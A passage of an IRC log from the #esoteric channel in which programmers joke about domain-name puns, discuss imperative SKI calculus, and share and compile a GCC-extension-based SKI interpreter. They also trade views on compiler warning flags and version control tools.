PRIVMSG #esoteric :Also, most national domains have restrictions with regards to citizenship :P < 1267813401 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Which has the amusing effect that a Finn can't actually own the domain sibeli.us :P < 1267813408 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :kra.us (please don't do something bad with it. Joseph Martin Kraus is my all time favourite composer!) < 1267813426 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, ^ < 1267813433 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Squatted < 1267813441 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1267813567 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, beethov.en? < 1267813571 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is that a valid tld? < 1267813594 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Doesn't eem to be. < 1267813597 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :*seem < 1267813602 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :poser.com < 1267813605 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :They would probably avoid it because people would think it was England. < 1267813609 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, schuma.nn ! < 1267813617 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I really think his music is boring < 1267813629 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The great nation of Nnonninnonn < 1267813631 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sure, quite okay, but nothing really interesting < 1267813631 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :over here in England, we know that England doesn't have a TLD to itself < 1267813644 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, it could be Netherlands or something... < 1267813649 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Because England wurves Scotland, Wales and North Ireland so much :P < 1267813663 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Also Gibraltar and the Island of Mann if I recall < 1267813710 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Nope, wrong on all regards :P < 1267813714 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, what about those two small islands in the English channel? < 1267813717 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Spelling, TLD, membership in the UK :P < 1267813727 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :.ski? or .ki? < 1267813745 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay .ski would be a nice TLD < 1267813750 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The only three-letter TLDs are the US ones and the generic ones, so you'd know it if it existed :P < 1267813755 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :imagine: imperative.ski < 1267813760 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1267813764 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :bugger < 1267813773 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, ? < 1267813782 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, ? < 1267813790 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why bugger < 1267813800 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, you gave us a great idea in the TLD discussion < 1267813800 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I wanted tchaikov.ski < 1267813803 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267813803 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :(yaeh, I know) < 1267813804 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1267813825 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :or ru.ski < 1267813829 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :har < 1267813869 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, btw .nu fills the same function in Sweden as .to does in English speaking countries (not exact same meaning, but equal large interest in it) < 1267813879 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(sv:nu = en:now) < 1267813900 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :net means no in russian < 1267813914 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1267813915 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :several sites use that, like "no cockroaches" and "no beer" < 1267813943 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I'm sure it's spelled differently though, isn't it pronounced "nyet"? < 1267813978 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and, in Afrikaans/Dutch(German?) net means only < 1267813983 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :nʲet in IPA, net in translit < 1267813989 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :right < 1267814006 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :er, the vowel in IPA is wrong i'm sure, i don't really know it < 1267814039 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :well, neither do I, so you're right no matter what < 1267814095 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it must be said that I only got the .ski joke now, wow, completely unintended on my behalf :P < 1267814126 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267814133 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :.ki are $900/year < 1267814136 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but nicely played < 1267814151 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is speechless, but can still make the occasional /me
< 1267814160 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I wonder what imperative SKI calculus would be like though < 1267814178 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, sounds like something for you to design ^ < 1267814180 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :;) < 1267814204 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :maybe < 1267814209 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :heh, a = s k k "hello" < 1267814210 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :print a < 1267814215 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :SKI calculus can be pretty imperative as-is, though < 1267814218 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :fairly pointless < 1267814234 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, hm. What about imperative lambda calculus then? < 1267814245 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :sa,e < 1267814246 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*same < 1267814248 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :python < 1267814252 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Imperative haskell would of course beat most things to "bad idea of year" < 1267814261 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, declarative python! < 1267814264 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you can compile imperative to haskell easily < 1267814271 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, hm < 1267814271 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :if you couldn't, it wouldn't really be powerful enough to be useful < 1267814282 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: as if it wasn't chock full of similarly bad ideas :P < 1267814283 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :admittedly, it usually isn't the best way to write it, but you can if you want to < 1267814294 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I don't think going < 1267814307 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :*going "up" the scale is wrong < 1267814312 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well it could be < 1267814326 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but not necessarily so < 1267814335 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Heh, [citation needed] < 1267814341 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :;) < 1267814404 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh? < 1267814439 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Never mind, to much wiki for meh brains today < 1267814449 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, of course it would need proper language support. And not be like that "lambdas in C" hack that pikhq did < 1267814455 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, link to it now again? < 1267814538 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Lambdas in C? Coincidentally, I have just discovered a marvellous little proof that no god can exist, written in CLambda, which this magin is too narrow to contain < 1267814557 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, it was done with some macros + gnu extensions < 1267814569 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, closures too btw < 1267814595 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :iirc it used two gcc extensions: nested functions and statement expressions < 1267814600 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I cannot believe waht I'm hearing < 1267814622 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, then wait for pikhq to get here, he is in some US timezone < 1267814627 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(iirc) < 1267814630 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but, I take it, strict evaluation < 1267814643 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, ? < 1267814686 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :as in, writing any lambda expression would be evaluated immeditaely/reduced, irrespecive of whether it was further refernced or applied? < 1267814714 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION asks that all further typos be excused
< 1267814737 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :as the way I see it, it's a macro, so it just reduced to some convoluted mess of C code that would execute < 1267814744 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I don't know < 1267814745 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Urgh. No no no no. < 1267814751 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, why not? I want to see it < 1267814758 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :so do I < 1267814761 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's a pain to paste. < 1267814772 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, why not just push a hg repo or whatever with it < 1267814774 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :somewhere < 1267814778 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No hosting. < 1267814782 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :So send meh ur computerz thro teh interwebz < 1267814789 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, bzr + launchpad? ;P < 1267814801 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :github is free for minor stuff, no? < 1267814805 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Just a sec while I tar it up. < 1267814810 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yaya < 1267814810 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, but that requires git -_- < 1267814821 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Am I missing something? < 1267814851 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, yes perhaps: that I think git is the worst dvcs when it comes to user interface. < 1267814858 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :ah, so this is one of those places that hg >> bza >> svn >> cvs == True < 1267814864 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bzr is just so much easier to use < 1267814868 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, personally I'm a bzr fan < 1267814873 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and what on earth is bza? < 1267814873 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :darcs? < 1267814878 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, try ais523 for that < 1267814879 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :*bzr < 1267814890 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I must say I like hg < 1267814892 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, he uses darcs for c-intercal < 1267814895 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, hg isn't too bad < 1267814907 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is just git that I have major trouble with < 1267814909 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :wow, what an elaborate way to waste time < 1267814916 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :fair enough < 1267814917 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, what is? < 1267814922 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm a darcs fan < 1267814928 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :darcs <- c-intercal < 1267814931 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, oh and rcs. But I rarely run into it < 1267814931 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :http://filebin.ca/septw/ski.tar.gz < 1267814936 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :rcs? < 1267814939 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :There's my SKI interpreter. < 1267814951 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it even manages to beat bzr at user interface, and the model is a lot better < 1267814952 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Compile with gcc *.c -lgc < 1267814954 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I like it too ais523, but hg wins over for me < 1267814954 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, why not compile SKI to C with it? < 1267814964 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, using just a simple converter < 1267814966 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Ohoho, interperter? < 1267814966 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Didn't bother is all. < 1267814978 0 :MaXo2!~dwili@esp64-1-82-243-172-27.fbx.proxad.net JOIN :#esoteric < 1267814997 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION stores that in ~/irc/esoteric/pikhq
< 1267815008 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh, right. I had been working on making it into a proper Lazy K interpreter. < 1267815019 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, lambda.h is the file you want to read < 1267815029 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :iirc < 1267815035 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yeah. < 1267815041 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and closure.h < 1267815048 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267815049 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267815060 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, what is xgc.h? < 1267815069 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :so pikhq, you implement lambda and ski? < 1267815075 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :ah, I was reading main < 1267815077 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, and why does it contain nohup.out? < 1267815078 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... Declares xgc_malloc. < 1267815086 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the tarball < 1267815088 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Uh. < 1267815091 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Accident. < 1267815094 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : cat nohup.out < 1267815094 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sun VirtualBox Headless Interface 3.1.4_OSE < 1267815094 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(C) 2008-2010 Sun Microsystems, Inc. < 1267815094 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :All rights reserved. < 1267815096 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wonderful < 1267815120 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, how does one compile this? < 1267815121 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :hiato: It's some pretty horrifying code. < 1267815123 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :there is no makefile < 1267815131 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: gcc *.c -lgc < 1267815141 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, although I can barely make the outline of how you've done this, I am impressed < 1267815172 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and only two warnings :) < 1267815173 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :hiato: It's pretty easy. I implement Lazy K's semantics naively. < 1267815183 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1267815193 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, btw do not try it with -pedantic < 1267815195 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION goes to do some research
< 1267815209 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :$ gcc -pedantic -std=gnu99 *.c -lgc -Wall -Wextra 2>&1 | grep warning | wc -l < 1267815209 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :132 < 1267815234 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(resulted in errors without that -std=gnu99) < 1267815235 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :nice < 1267815242 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes, -pedantic warns about every single GNU extension. < 1267815245 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(I guess gnu89 could have worked too, didn't try it) < 1267815255 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And this code is mostly GNU extensions.\ < 1267815257 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :$ gcc -std=gnu99 *.c -lgc -Wall -Wextra 2>&1 | grep warning | wc -l < 1267815258 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :16 < 1267815260 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION always uses -ansi -pedantic >:)
< 1267815261 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :a lot of those too < 1267815282 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I use < 1267815310 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :cplof's test cases fail if it doesn't build with -Wall -Werror -ansi -pedantic -DFAKE_JUMPS < 1267815314 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also, note that the definition of lambdas here could easily *break at any time*. Those functions are not guaranteed to exist by the GCC documentation. < 1267815322 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :-std=c99 -Wall -Wextra -pedantic -Wwrite-strings -Wcast-align -Wcast-qual -Wbad-function-cast -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wold-style-definition -Wredundant-decls -Wnested-externs -Wdeclaration-after-statement -Wshadow -Wundef -Wpacked -Wfloat-equal -Wstrict-aliasing=2 -Wformat=2 -Wmissing-noreturn -Wmissing-format-attribute -Winit-self -Wunsafe-loop-optimizations - < 1267815322 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Wmissing-include-dirs -Wunused-parameter -Wunused-function -Wunused-label -Wunused-value -Wunused-variable -Wimplicit -Wparentheses -Wpointer-arith -fno-math-errno -fno-trapping-math < 1267815324 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, there ! < 1267815339 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that excludes some -D < 1267815342 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Do you know what -Wall means? < 1267815350 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(it claims that the functions are entirely on the stack. In reality, the trampoline that GCC compiles if needed is on the stack.) < 1267815350 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, XD < 1267815358 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: -Wall does not enable all warning. < 1267815360 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. Warnings. < 1267815371 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Though I'm pretty sure he has redundancy going there. < 1267815378 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, not for old gcc versions < 1267815384 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, I support down to gcc 3.4 < 1267815392 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :why? < 1267815401 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, it checks which ones are supported by the compiler < 1267815405 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Mmm. < 1267815409 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I should add -Wextra to cplof's test case :P < 1267815412 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, yes this yeilds some redundancy, but nothing to worry about < 1267815475 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I would strongly recommend at least -pedantic -Wall -Wextra -Wformat=2 -Wwrite-strings < 1267815514 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, defines include: -D_POSIX_C_SOURCE=200112L -D_XOPEN_SOURCE=600 < 1267815573 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I'm unlikely to switch to POSIX 2008 yet < 1267815582 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but that might happen before I drop gcc 3.4 support < 1267815661 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :-Wextra includes warnings for unused PARAMETERS < 1267815664 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That's completely stupid < 1267815668 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, no < 1267815671 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I find that useful < 1267815685 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I write dozens of functions that are compatible with a single interface. < 1267815686 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I use an attribute for the three or so cases where I actually want it to be unused < 1267815696 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, well add -Wno-unused-parameters then < 1267815698 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(iirc) < 1267815705 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(not sure about the exact spelling) < 1267815713 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(check your local man gcc) < 1267815727 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I'm gonna stick with -Wall -Werror -ansi -pedantic :P < 1267815735 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Incidentally, I also compile with OpenWatcom for 32-bit DOS. < 1267815742 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, -Wwrite-strings! < 1267815754 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, that makes sure you don't do things like: < 1267815755 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I don't even use any bloody strings :P < 1267815760 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :char* foo = "bar"; < 1267815766 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mkstemp(foo); < 1267815783 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(you need to have it writable for there) < 1267815794 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(besides, proper const usage helps the optimiser) < 1267815906 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : why? <-- why what? < 1267815937 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :In actuality, the real problem with -Wwrite-strings for cplof is that I cast everything into unsigned char *, and casting away constness explicitly is presumably still considered "OK" < 1267815952 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, there is another warning for that < 1267815963 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, -Wcast-qual I think < 1267816042 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, anyway I find that set of warnings very nice for cfunge. < 1267816081 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: never mind, it was a way back, and thanks to the wonders of lag, in the wrong place < 1267816104 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :* Ping reply from hiato: 2.20 second(s) <-- bad, but not excessively so < 1267816313 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Heh, nice touch < 1267816324 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267816326 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :http://codu.org/music/op12/GRegor-op12-wipp2.ogg , lest I never mentioned it here >_> < 1267816395 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it was for pikhq, when he said the definition could break at any time, and my log shows: 20:52 < pikhq> Also, note that the ..... 20:53 < hiato> why? < 1267816401 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :so within the margin of error :P < 1267816455 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Hi guys. < 1267816477 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, "wipp"? < 1267816483 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Greetings from beyond the /dev/null < 1267816484 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Work In Progress Preview < 1267816502 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, should name it op12.-2 or such < 1267816508 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(clc-intercal style) < 1267816529 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :My original naming convention was beta 1, beta 2 etc, but somebody pointed out justly that that's a bit computery for music :P < 1267816540 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, aargh did someone fill the bit bucket now again? < 1267816543 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Especially for music which is relatively acoustic. < 1267816571 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I don't see anything wrong with it < 1267816581 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, but you're a person on #esoteric :P < 1267816619 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Beta#Common_uses <-- template fail < 1267816621 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1267816652 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: That template is in beta. < 1267816713 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augh < 1267816747 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: what does that mean? < 1267816940 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, what bit? < 1267816945 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"augh"? < 1267816962 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :heh, did someone fill the bit bucket now again? < 1267816983 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, oh that. ask ais523 he can explain it and I'm somewhat busy < 1267816988 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :s/,/"/ and s/$/"/ < 1267817001 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :ah, right < 1267817001 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or see http://en.wikipedia.org/wiki/Bit_bucket < 1267817027 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :kthnx,srydood.srsly < 1267817179 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I like that op12-wipp2 around 10:58-11:30 especially! < 1267817195 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION hasn't finished listening to it yet
